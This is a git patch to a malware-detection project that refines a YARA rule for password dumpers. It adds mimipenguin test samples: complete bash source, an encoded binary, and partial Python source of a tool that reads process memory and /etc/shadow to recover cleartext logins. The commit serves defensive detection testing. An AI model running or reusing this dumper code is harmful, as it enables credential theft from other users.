From c3f573d6e91702c9a0063d38d9d866365125699d Mon Sep 17 00:00:00 2001 From: Evan Gibler <20933572+egibs@users.noreply.github.com> Date: Mon, 1 Jul 2024 15:00:16 -0500 Subject: [PATCH] Tweak password_finder_mimipenguin rule (#303) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Tweak password_finder_mimipenguin rule Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> * Move Finder to extra strings Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> * Remove overlapping strings related to #304 Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> * Update rules/combo/stealer/password.yara Signed-off-by: Evan Gibler <20933572+egibs@users.noreply.github.com> * Add mimipenguin samples Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> * Fix simple results Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> * Tweak rule now that we have samples Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> * Fix tests Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> --------- Signed-off-by: egibs <20933572+egibs@users.noreply.github.com> Signed-off-by: Evan Gibler <20933572+egibs@users.noreply.github.com> Co-authored-by: Thomas Strömberg --- rules/combo/stealer/password.yara | 22 +- samples/Linux/mimipenguin/bash/mimipenguin | 276 ++++++++++++++++++ .../Linux/mimipenguin/bash/mimipenguin.simple | 23 ++ samples/Linux/mimipenguin/c/mimipenguin | Bin 0 -> 22088 bytes .../Linux/mimipenguin/c/mimipenguin.simple | 13 + samples/Linux/mimipenguin/python/mimipenguin | 267 +++++++++++++++++ .../mimipenguin/python/mimipenguin.simple | 22 ++ 7 files changed, 613 insertions(+), 10 deletions(-) create mode 100644 samples/Linux/mimipenguin/bash/mimipenguin create mode 100644 samples/Linux/mimipenguin/bash/mimipenguin.simple create mode 100755 samples/Linux/mimipenguin/c/mimipenguin create mode 100644 samples/Linux/mimipenguin/c/mimipenguin.simple create mode 100644 samples/Linux/mimipenguin/python/mimipenguin create mode 100644 samples/Linux/mimipenguin/python/mimipenguin.simple diff --git a/rules/combo/stealer/password.yara b/rules/combo/stealer/password.yara index 945c80c18..d0867751a 100644 --- a/rules/combo/stealer/password.yara +++ b/rules/combo/stealer/password.yara @@ -1,4 +1,3 @@ - rule password_finder_mimipenguin : critical { meta: description = "Password finder/dumper, such as MimiPenguin" @@ -6,14 +5,17 @@ rule password_finder_mimipenguin : critical { hash_2024_dumpcreds_mimipenguin = "3acfe74cd2567e9cc60cb09bc4d0497b81161075510dd75ef8363f72c49e1789" hash_2024_enumeration_linpeas = "210cbe49df69a83462a7451ee46e591c755cfbbef320174dc0ff3f633597b092" strings: - $lightdm = "lightdm" fullword - $apache2 = "apache2.conf" fullword - $vsftpd = "vsftpd" fullword - $shadow = "/etc/shadow" - $gnome = "gnome-keyring-daemon" - $password = "password" - $finder = "Finder" - $sshd_config = "sshd_config" fullword + $base_lightdm = "lightdm" fullword + $base_apache2 = "apache2.conf" fullword + $base_vsftpd = "vsftpd" fullword + $base_shadow = "/etc/shadow" + $base_gnome = "gnome-keyring-daemon" + $base_sshd_config = "sshd_config" fullword + + $extra_finder = /\bFinder\b/ + $extra_password = /\b[Pp]assword\b/ + $extra_password2 = /.[^\s]{0,32}-password/ + $ignore_basic_auth_example = /\w{0,32}\:[Pp]assword/ condition: - 5 of them + 2 of ($base_*) and (any of ($extra_*) and none of ($ignore_*)) } diff --git a/samples/Linux/mimipenguin/bash/mimipenguin b/samples/Linux/mimipenguin/bash/mimipenguin new file mode 100644 index 000000000..0ac2419cf --- /dev/null +++ b/samples/Linux/mimipenguin/bash/mimipenguin @@ -0,0 +1,276 @@ +#!/bin/bash + +# Author: Hunter Gregal +# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com +# Dumps cleartext credentials from memory + +#root check +if [[ "$EUID" -ne 0 ]]; then + echo "Root required - You are dumping memory..." + echo "Even mimikatz requires administrator" + exit 1 +fi + +#Store results to cleanup later +export RESULTS="" + +# check if a command exists in $PATH +command_exists () { + + command -v "${1}" >/dev/null 2>&1 +} + +# check for required executables in $PATH +if ! command_exists strings; then + echo "Error: command 'strings' not found in ${PATH}" + exit 1 +fi +if ! command_exists grep; then + echo "Error: command 'grep' not found in ${PATH}" + exit 1 +fi + +# Check for any of the currently tested versions of Python +if command_exists python2; then + pycmd=python2 +elif command_exists python2.7; then + pycmd=python2.7 +elif command_exists python3; then + pycmd=python3 +elif command_exists python3.6; then + pycmd=python3.6 +elif command_exists python3.7; then + pycmd=python3.7 +else + echo "Error: No supported version of 'python' found in ${PATH}" + exit 1 +fi + +# $1 = PID, $2 = output_file, $3 = operating system +function dump_pid () { + + system=$3 + pid=$1 + output_file=$2 + if [[ $system == "kali" ]]; then + mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1) + else + mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1) + fi + while read -r memrange; do + memrange_start=$(echo "$memrange" | cut -d"-" -f 1) + memrange_start=$(printf "%u\n" 0x"$memrange_start") + memrange_stop=$(echo "$memrange" | cut -d"-" -f 2) + memrange_stop=$(printf "%u\n" 0x"$memrange_stop") + memrange_size=$((memrange_stop - memrange_start)) + dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \ + skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1 + done <<< "$mem_maps" +} + + + +# $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE +function parse_pass () { + + #If hash not in dump get shadow hashes + if [[ ! "$2" ]]; then + SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')" + fi + + #Determine password potential for each word + while read -r line; do + #If hash in dump, prepare crypt line + if [[ "$2" ]]; then + #get ctype + CTYPE="$(echo "$2" | cut -c-3)" + #Escape quotes, backslashes, single quotes to pass into crypt + SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;') + CRYPT="\"$SAFE\", \"$CTYPE$3\"" + if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$2" ]]; then + #Find which user's password it is (useful if used more than once!) + USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)" + export RESULTS="$RESULTS$4 $USER:$line \n" + fi + #Else use shadow hashes + elif [[ $SHADOWHASHES ]]; then + while read -r thishash; do + CTYPE="$(echo "$thishash" | cut -c-3)" + SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)" + #Escape quotes, backslashes, single quotes to pass into crypt + SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;') + CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\"" + if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$thishash" ]]; then + #Find which user's password it is (useful if used more than once!) + USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)" + export RESULTS="$RESULTS$4 $USER:$line\n" + fi + done <<< "$SHADOWHASHES" + #if no hash data - revert to checking probability + else + patterns=("^_pammodutil.+[0-9]$"\ + "^LOGNAME="\ + "UTF-8"\ + "^splayManager[0-9]$"\ + "^gkr_system_authtok$"\ + "[0-9]{1,4}:[0-9]{1,4}:"\ + "Manager\.Worker"\ + "/usr/share"\ + "/bin"\ + "\.so\.[0-1]$"\ + "x86_64"\ + "(aoao)"\ + "stuv") + export RESULTS="$RESULTS[HIGH]$4 $line\n" + for pattern in "${patterns[@]}"; do + if [[ $line =~ $pattern ]]; then + export RESULTS="$RESULTS[LOW]$4 $line\n" + fi + done + fi + done <<< "$1" +} # end parse_pass + + +#Support Kali +if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then + SOURCE="[SYSTEM - GNOME]" + #get gdm-session-worker [pam/gdm-password] process + PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')" + #if exists aka someone logged into gnome then extract... + if [[ $PID ]];then + while read -r pid; do + dump_pid "$pid" /tmp/dump "kali" + HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')" + SALT="$(echo "$HASH" | cut -d'$' -f 3)" + DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)" + DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)" + #Remove dupes to speed up processing + DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) + parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" + + #cleanup + rm -rf "/tmp/dump.${pid}" + done <<< "$PID" + fi +fi + +#Support gnome-keyring +if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then + + SOURCE="[SYSTEM - GNOME]" + #get /usr/bin/gnome-keyring-daemon process + PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')" + + #if exists aka someone logged into gnome then extract... + if [[ $PID ]];then + while read -r pid; do + dump_pid "$pid" /tmp/dump + HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')" + SALT="$(echo "$HASH" | cut -d'$' -f 3)" + DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10) + DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$') + #Remove dupes to speed up processing + DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) + parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" + #cleanup + rm -rf "/tmp/dump.${pid}" + done <<< "$PID" + fi +fi + +#Support LightDM +if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then + SOURCE="[SYSTEM - LIGHTDM]" + PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session\-child/p' | awk -F ' ' '{ print $1 }')" + + #if exists aka someone logged into lightdm then extract... + if [[ $PID ]]; then + while read -r pid; do + dump_pid "$pid" /tmp/dump + HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$') + SALT="$(echo "$HASH" | cut -d'$' -f 3)" + DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)" + #Remove dupes to speed up processing + DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) + parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" + #cleanup + rm -rf "/tmp/dump.${pid}" + done <<< "$PID" + fi +fi + +#Support VSFTPd - Active Users +if [[ -e "/etc/vsftpd.conf" ]]; then + SOURCE="[SYSTEM - VSFTPD]" + #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf + PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')" + #if exists aka someone logged into FTP then extract... + if [[ $PID ]];then + while read -r pid; do + dump_pid "$pid" /tmp/vsftpd + HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')" + SALT="$(echo "$HASH" | cut -d'$' -f 3)" + DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$') + #Remove dupes to speed up processing + DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) + parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" + done <<< "$PID" + + #cleanup + rm -rf /tmp/vsftpd* + fi +fi + +#Support Apache2 - HTTP BASIC AUTH +if [[ -e "/etc/apache2/apache2.conf" ]]; then + SOURCE="[HTTP BASIC - APACHE2]" + #get all apache workers /usr/sbin/apache2 -k start + PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')" + #if exists aka apache2 running + if [[ "$PID" ]];then + #Dump all workers + while read -r pid; do + gcore -o /tmp/apache "$pid" > /dev/null 2>&1 + #without gcore - VERY SLOW! + #dump_pid $pid /tmp/apache + done <<< "$PID" + #Get encoded creds + DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)" + #for each extracted b64 - decode the cleartext + while read -r encoded; do + CREDS="$(echo "$encoded" | base64 -d)" + if [[ "$CREDS" ]]; then + export RESULTS="$RESULTS$SOURCE $CREDS\n" + fi + done <<< "$DUMP" + #cleanup + rm -rf /tmp/apache* + fi +fi + +#Support sshd - Search active connections for Sudo passwords +if [[ -e "/etc/ssh/sshd_config" ]]; then + SOURCE="[SYSTEM - SSH]" + #get all ssh tty/pts sessions - sshd: user@pts01 + PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')" + #if exists aka someone logged into SSH then dump + if [[ "$PID" ]];then + while read -r pid; do + dump_pid "$pid" /tmp/sshd + HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')" + SALT="$(echo "$HASH" | cut -d'$' -f 3)" + DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+') + #Remove dupes to speed up processing + DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) + parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" + done <<< "$PID" + #cleanup + rm -rf /tmp/sshd.* + fi +fi + +#Output results to STDOUT +printf "MimiPenguin Results:\n" +printf "%b" "$RESULTS" | sort -u +unset RESULTS diff --git a/samples/Linux/mimipenguin/bash/mimipenguin.simple b/samples/Linux/mimipenguin/bash/mimipenguin.simple new file mode 100644 index 000000000..83442e447 --- /dev/null +++ b/samples/Linux/mimipenguin/bash/mimipenguin.simple @@ -0,0 +1,23 @@ +# Linux/mimipenguin/bash/mimipenguin +3P/signature_base/mimipenguin +3P/signature_base/mimipenguin/sh +combo/stealer/password +encoding/base64 +evasion/base64/eval +evasion/base64/external/decoder +exec/shell_command +fs/file/delete +fs/file/delete/forcibly +kernel/platform +ref/daemon +ref/path/etc +ref/path/tmp +ref/path/usr/bin +ref/path/usr/sbin +ref/program/gnome/keyring/daemon +ref/program/sshd +ref/program/sudo +ref/words/password +secrets/shadow +shell/exec +shell/ignore_output diff --git a/samples/Linux/mimipenguin/c/mimipenguin b/samples/Linux/mimipenguin/c/mimipenguin new file mode 100755 index 0000000000000000000000000000000000000000..b6e4a4aea97b791d7ccd20e53dc2fb47d978ab0c GIT binary patch literal 22088 zcmeHP3v^q>nI8E;+z=!MLhFV{E>z(-gg916(j*X&96zo=CT{EmXda3p$+kAO+opxGw9V=3(9-s#w9BSEQbC?(t2mI9M@T6|`~7ogA`&vu8bt^w0mz|Nk@d&)omc9be6j_1=aOi-pNl$}VHX?Ks^)T%zFMRU!l8Vhh-5 z_&%4N!%hKT#xbMZWe}7a=}<{Ntq^!ADCt#FW(<0^0W(Qu3yG3mu~c!IQ6ed`8$9Wi zQ&#YWbovxSPEuK(tFOi=X9ZLx2Ovpm)}x~IVqVPBP5E?z=y$WAQjgq4dP72QNa#s= zOgKVP=}+OvVM7yo9gP_IX{qmU{>UQ+4%mNyc?zoourp*QR_3>VVvqCQDw zeP4o}aJ7*5bRvg&nW(SWIJm_8lvKEv&F&1Zn?HAUXK+?$IFjs{)w5v!tod`RO$C}$jaMyaCA}<7m>fQmdB)BMPvu6xHzQ|Y zM4t>j(M7aa+KK{k3FnEtSOlkflsrj;=>Qqa&Lk*|guc) zCgQ9u+8v6_p9{M%8CdTNbgcKa`NN&8Efxx~P)|4kJ%2D5jzOp`(&bMCI#{4H8V>LRM*|BN`r`3`Khnmi?bHl(G8qn%RG@n!Ym0|M>!WBc z)kI#PQ0e3x<>s?%mMpurxz#tPx`s7+J+(`ayEvEoVlL;Lo6C;oE*{O!sh)?SD?yyK z;M@3Dmdi;*QbVR35p)!pfP4i$Mnars9?WTq#R@)a-&$>DYy$HGqhx{Z)uNpEGs5B1 z=9OW?E0pxO2|PIF7H)@51H^Y2@vU!2|rhYpu;9S?|KsL znE)BlC9YLr!s$LIlih^#^_eKBG~v_-nG_RFb;wj@!lf^$tj2`Pdn@4!O!!0sL~@z% zQzZzhn(#>`yxD|fV&u{_CL9wgm)4qaTMlKc!-U&Sc()0kY{Gj?xH&HNns6~ixYkW3 zTr71tK4`)}YqEcb3ICi4-(kWlP59j={PQM!rwN~G!grbQvrKr}gv+%*6(2O=bnlaC z$b?UmAm||zu9)y)6MmivAJ2|^;Qyls)V?DX>OlFv%Ms%G(}|MoklMGmVo%N$*?Iqt zqU`j?@NJvsLXP+jD$fjOk)}UFJcatq5a;hFo^CmrH0SRno^Canot*y(@pKEw?BM+O zh^Nq>8RYz(#8b%6^m6`d#8arxbaVb@;wi*u)^h%ziKoz>Y3BU(#8XJmxHumpoF3&QB$tLUE>-^QRL}Avn{``H93+=*_I< zdwGD#jsYTsOk4_ zDnP2X#i0Ulrgf^XKb>q;wbz{KU(*~=wU^&j@4>hJ9y~~N6Ffz9FGlF$6Vudz?OZ#k z&YZ%{C8w&J_fiEb_o%7G8?mI&fBkVb+jlTK@;m(~a&6VNX zs@nJZvF6r#XWIEF6qnP`oSD6pvG>dhE{3x6&_Oj-K9$JA6Nxi1ykiwVnH6 z@8X|9mnCN|SNj&<3`uz4jl?8%VDYWM^>4v#dJyg1U)~SivKqR%`bj^t0fnMH?yKD^ z+{@jq%Uf_|R;gOTQK4$B4!f#(9hFTBE8LAmche-m zHD6Vy9b38Dy~@4Xy~gcB6OBPo2U;B!?!NsNQm(AK>7o)cx$t1(G0(uXkp~CWflbuH zN1Vse9R24XWwV6;08TRW-B+tK-f6QPO;fi#+V7oDxm(c#bZ_&KN<@vkc~$|ynYPU+ zbJ%9oIqdYM&{qw8x#+8zzSh!Lw{6B2M=yL$l%_Ay9fIx@G%e_mpu>V51J%EZ#`dRe zH$4l+`BuF%>(Sn9>VGS-hTnorsll^LUYkA z#_OiSxImkQ=uYY`hk}5wraFz`QV;-Wi2hfGjfRp&0Y=PD798qYZj;KJF@sYV>B{R zFdzQ~)3jhd_P{jF$8Jz{V2eY{Mq@pbJbUcfxCFu@PwJf@ZKF$yL7H#g)btnUF@}4V z_7{F%I8vb}FrT&Z-GKYkJ=c3v_qYJ4eGlxQu}RKQH}9c)j(6cm^04!TfqCD6AT{YB zF15EpJ7io8dnkOy6|6$Ohb5t^J+GfdjTUwiyPR){>tbNjJuZGjdI8s;ddWRhPweo> z?a=hVK@U)%*Q4*D4__N?J>ovC?{_bPuzoKJ$@^#a_E;RY?P*%)+wM#6G42=qPQjP{ zrrtx}-OBF`_0HFqtJ=qO*ItY0l6Tj>1^~LDy@oJ@XlmFq$DxCw<}dJuP%yecAkR@- zlD~8J?X`?N&ev5mUStr_LyVUV<3)AWX~X2RJ^G{X@|&DoU-0(1S9r9O?&aRptQeNs zeEGEb$Q{t46;zd)TIHz0D$0Sn^O}AWZ#rVV0uRxxU=X*|T>P{ft+Z`vgqT-*n_9jJ zm`6K6j(l3x4(J!5G49??6VQ#l5OHSpFLMbB(usR_J7AW?k`N_aLSgzYYd2SNpSxw*KS)v|J4wcfR0F zIj-|O{Cb(1Dx0SEEntZWDvbh-L$h7&e<}h0KCACOhQbVWxYQul1aFd&=#8m$VZUhva9M>)9RcpU*@mM}WkfMuT#0_;I zj+&3^ucKFDc+Lf;=&uog>Tzek7#FJ%+rLAVq6yxGuO;_UG;pSk!N@%iI1w;RPiW{# z`9d^9O`SFcq|FvBUxXn6J+qdmYKt7AFFdnxIpM$N zk9Pzq@}WE}%3tE;x8DuciNW61O@gWNd+DL|z_uL_riAQ45R_4N7$k&0{~)U)O9|O- zm=IZ-vO<;?f~yUIL!$yNDm75r7@-1HyS)cl+vKYibfLyJ`SxQ#ZIicADacNP^m3Wo z20>7#9XAh3$Sy$Eu(PcaS!nEl%$~ME_tiWe8c$q2CW>H4)#b%LY6{(b9u&)HtSeLv z4|B9~R|=Nzv`9`Z{yKI=s9-I9{kNaLXkko!(4TvY&qUi6@~KDL=fy1zH5v1rmKi7B z76SBuf`{BQoKNwP`I26Z5?tlas|c$VST$EdPt~3i5&WqBHknS%o543Hj_N)#gm_9Z zlE%`T3Oek3(M|W}^H7R)F=h9Q8v7rDlqdCbnsapL*WT9eF^ZCN0PjG91-xCrX91>J zCEy!`p)GR}hP(qm+yO&QJOjLZKkZO?QgseXQ{Z(~>!$+!KhRusxK^wCp-V53ZI}pE zIK#N#kv}@9SGZ5o2#($-uSE2uK{iEC+`qlr`y<;hc3Zd$Uc&Rl{YSFd-_YFA)7(3Y zAHimrJ~xN{1gIVY%hwKkNdV#TH12_M4~%Rj*<;*<;>MeOURG61;df{MF5qm>G2s8*&;R@ z?>x?qcld+R4NOs1&RUJaMbqOG*&1KBzpE=6OeVseKD;#8y&>Z7^2MUjgwN?MkBzPc#E(-uzuAnCte<0RbAtt7YW<>dxfhwQauw=@nkSsJ=16| zTY27js}B_F&hnZht(!AsWNx2inteZA)u?lQK(bylQDv{p$8ev@0}g zeP|MFxK zhoC!w?|dbjRe<-tn$6PtjmqoU?1P{?-^^ww;mOjK$!1r9vcuWz9mIp~0v!fD0y>0; z#!Imq(Tpd^4$vXc?VxM%Bzp+-*ip!VQlb|iC|Ryw#wQ3@cJ9V!68v}^0}wX114}Pl{TU$nRAQ|v83lW6nn511dnM4sB0BH!Io zs#=w;W$061`4!fh64yj))e@`XmcBx3XpEnR?%F?QvvWwd&T9YiL~F$rr+Tb3J~jBf zhw@&O-%jPQeM<>^xwW*;s`QmLT6;@N5)-XTowd@<2f%$Q`Kt>3Is%;|&^7$kNdBrP ze|hr968Mx%4ny|(oGf}Q z+FKHpvbb(gJ_OmhxNiDLwt@WSCBLDaTgz1Gw}yPTdG_po>~WGuvg0!a*HSNR+)8~# zYR0Du*heGT?3J)@^#96S{|n}FqjhI_=^JDBzmED(Nx^3mZ0av$vzrNkv-?UKt;463 z_$ONJZfgafT2wNg#yv3ZfpHIvdtlrH;~w}sc|iU?Nd6v3ECu*)ny3kqr{6G9nq&}T z0f9XJEX32Y-#?j+5`PEQ43y}_Zb}vO z1~-!YEl*mM)1Sd8{ZzD1t~)9XnBm=)yd>0^zSMwenL~-5Lnz7T1W_HsD`Px0i;5&Z zD1Hni+npA2@;5@Ve!MWr`-5UGiWeCSUI^lEbDWp$z#q^#|0`h_ZzpkHwpcPH}q zl5LAMI}O+kMo=zW6j7xWoH-xTz?pr_CSDAH#Iy+F|Uf;I@c zLeMrruM>2upx+eqM}pob=zc+;5%f(#j|*zlj%UzjBiFcO$s(l+zr3EII4`cIUnPEe zqUl-2{zQL)&P#MXSy(CS5d*AzKkyt-+_z;mCE=a@!udbR(~G_PId;x z1;w8`fgLU)|4tFSn14Qkyam4ut|Lbkq_NsF5goT6suW%i^gC|aC6VV5NK+SZ`OoFz zjl?enemeP|1{#S!pMze(aSr8utt^7mn=52zCw>V*i9ct8ZU(LpP>@`hX9}xix)?`U z{B2=pSOjeTOpU@Hb6iS|())${(0K;NpBIrmDDboh?EE_&PoF{9D&UI9o5^}EZ$^y#jYaUU0iRq_nTz96^Sedl ze?juJTOtB{&d){Up9gNoxY)(GNc(kM-kLiX=X_D{auGZ43Hch~2fil+osWh6!t3ZW zXc)x-mtq)}dpc(d+%5)fv#56}#|2{|HAV0xMetVOHu{;E1Ut)lMQtK3bVC4jNq@ztxMRIOXae2w0vwQjF(X+uLxeXFn4UF)s) zM$|$b<0bq=;}hKXoLpP@Wi) z2a;Gk4+-#7Kk^_W9y>6!ite5g!~7L>+mjj^rf2$Z#b^B_8hB@giVa4L+rs^G;II$4EIjT!SOn0D$1{!+;QXz4PY zeu5KPOh>QeS3r%Wd4d1=1?E#-awQitRvq8imGG|vg~K`RkU1PT6N+`SY90jJBgtwC z8=+WYqk!DCo>>$VtEsGm#xAMdx_Qb?5}mXfxwOSuE7)Ck2t~?o6<1-u!B0 ztJ|Ys6QLe_Qy7F$lwY~kp$-xFI)X4FIYZTmfQE+5qXvIhIDqP-39^jFQ3R;Q05e3x zt}cXD^L^rP&C{~Yf)AEWJkeX#lq8k=90qF0$~@68;6r;0Qh$Nam(+zabCUN*iP7VW zS-(fM>*}yNIrLvn%Jiq z6#CSDl9BBfFr)Pu`Bdu5{UJ%yLQvK(^=1FJ2>n_iC-<8qmHShqPkT~@`nLijpUC~O z-1yNf*iGQq5MgqEMV?z&C@*om@nJcatG8 Kp+KR4W&a7lxbu_% literal 0 HcmV?d00001 diff --git a/samples/Linux/mimipenguin/c/mimipenguin.simple b/samples/Linux/mimipenguin/c/mimipenguin.simple new file mode 100644 index 000000000..aca707341 --- /dev/null +++ b/samples/Linux/mimipenguin/c/mimipenguin.simple @@ -0,0 +1,13 @@ +# Linux/mimipenguin/c/mimipenguin +3P/threat_hunting/crossc2 +3P/threat_hunting/mimipenguin +combo/stealer/password +procfs/arbitrary/pid +procfs/pid/cmdline +procfs/pid/maps +ref/path/etc +ref/program/gnome/keyring/daemon +ref/program/sshd +ref/program/sudo +ref/words/password +secrets/shadow diff --git a/samples/Linux/mimipenguin/python/mimipenguin b/samples/Linux/mimipenguin/python/mimipenguin new file mode 100644 index 000000000..b41d3808b --- /dev/null +++ b/samples/Linux/mimipenguin/python/mimipenguin @@ -0,0 +1,267 @@ +#!/usr/bin/env python3 +# -*- encoding: utf8 -*- +# Rewrite of mimipenguin in Python 3. +# Original idea from Hunter Gregal (@huntergregal). +# Implementation by Yannick Méheut (github.com/the-useless-one) +# Copyright © 2017, Yannick Méheut + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from __future__ import print_function + +import os +import platform +import re +import base64 +import binascii +import crypt +import string + + +def running_as_root(): + return os.geteuid() == 0 + + +def get_linux_distribution(): + try: + return platform.dist()[0].lower() + except IndexError: + return str() + + +def compute_hash(ctype, salt, password): + return crypt.crypt(password, '{}{}'.format(ctype, salt)) + + +def strings(s, min_length=4): + strings_result = list() + result = str() + + for c in s: + try: + c = chr(c) + except TypeError: + # In Python 2, c is already a chr + pass + if c in string.printable: + result += c + else: + if len(result) >= min_length: + strings_result.append(result) + result = str() + + return strings_result + + +def dump_process(pid): + dump_result = bytes() + + with open('/proc/{}/maps'.format(pid), 'r') as maps_file: + for l in maps_file.readlines(): + memrange, attributes = l.split(' ')[:2] + if attributes.startswith('r'): + memrange_start, memrange_stop = [ + int(x, 16) for x in memrange.split('-')] + memrange_size = memrange_stop - memrange_start + with open('/proc/{}/mem'.format(pid), 'rb') as mem_file: + try: + mem_file.seek(memrange_start) + dump_result += mem_file.read(memrange_size) + except (OSError, ValueError, IOError, OverflowError): + pass + + return dump_result + + +def find_pid(process_name): + pids = list() + + for pid in os.listdir('/proc'): + try: + with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file: + if process_name in cmdline_file.read().decode(): + pids.append(pid) + except IOError: + continue + + return pids + + +class PasswordFinder: + _hash_re = r'^\$.\$.+$' + + def __init__(self): + self._potential_passwords = list() + self._strings_dump = list() + self._found_hashes = list() + + def _dump_target_processes(self): + target_pids = list() + for target_process in self._target_processes: + target_pids += find_pid(target_process) + for target_pid in target_pids: + self._strings_dump += strings(dump_process(target_pid)) + + def _find_hash(self): + for s in self._strings_dump: + if re.match(PasswordFinder._hash_re, s): + self._found_hashes.append(s) + + def _find_potential_passwords(self): + for needle in self._needles: + needle_indexes = [i for i, s in enumerate(self._strings_dump) + if re.search(needle, s)] + for needle_index in needle_indexes: + self._potential_passwords += self._strings_dump[ + needle_index - 10:needle_index + 10] + self._potential_passwords = list(set(self._potential_passwords)) + + def _try_potential_passwords(self): + valid_passwords = list() + found_hashes = list() + pw_hash_to_user = dict() + + if self._found_hashes: + found_hashes = self._found_hashes + with open('/etc/shadow', 'r') as f: + for l in f.readlines(): + user, pw_hash = l.split(':')[:2] + if not re.match(PasswordFinder._hash_re, pw_hash): + continue + found_hashes.append(pw_hash) + pw_hash_to_user[pw_hash] = user + + found_hashes = list(set(found_hashes)) + + for found_hash in found_hashes: + ctype = found_hash[:3] + salt = found_hash.split('$')[2] + for potential_password in self._potential_passwords: + potential_hash = compute_hash(ctype, salt, potential_password) + if potential_hash == found_hash: + try: + valid_passwords.append( + (pw_hash_to_user[found_hash], potential_password)) + except KeyError: + valid_passwords.append( + ('', potential_password)) + + return valid_passwords + + def dump_passwords(self): + self._dump_target_processes() + self._find_hash() + self._find_potential_passwords() + + return self._try_potential_passwords() + + +class GdmPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - GNOME]' + self._target_processes = ['gdm-password'] + self._needles = ['^_pammodutil_getpwnam_root_1$', + '^gkr_system_authtok$'] + + +class GnomeKeyringPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - GNOME]' + self._target_processes = ['gnome-keyring-daemon'] + self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$', r'linux-vdso\.so\.1$'] + +class LightDmPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - LIGHTDM]' + self._target_processes = ['lightdm'] + self._needles = [r'^_pammodutil_getspnam_'] + +class VsftpdPasswordFinder(PasswordFinder): + def 